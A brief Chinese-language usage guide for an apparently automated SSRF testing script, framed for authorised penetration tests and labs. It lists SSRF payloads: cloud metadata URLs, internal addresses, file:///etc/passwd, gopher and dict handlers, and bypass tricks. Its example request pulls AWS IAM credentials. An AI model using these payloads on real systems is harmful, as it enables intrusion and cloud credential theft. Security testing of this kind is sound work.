killvxk 说明
- 安装依赖：
pip install requests - 识别目标应用中接受 URL 或主机名的 URL 参数。
- 测试 SSRF 载荷：
- 云元数据：
http://169.254.169.254/latest/meta-data/ - 内网服务：
http://127.0.0.1:port/、http://10.0.0.1/ - 协议处理器：
file:///etc/passwd、gopher://、dict:// - 绕过技术：IP 编码、DNS 重绑定、URL 重定向
- 云元数据：
- 分析响应，确认信息泄露或内网访问。
- 生成漏洞评估报告。
# 仅用于已授权的渗透测试和实验室环境
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
示例
AWS 元数据 SSRF
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
如果响应中包含 AWS 凭据（AccessKeyId、SecretAccessKey），则证实存在高危 SSRF 漏洞。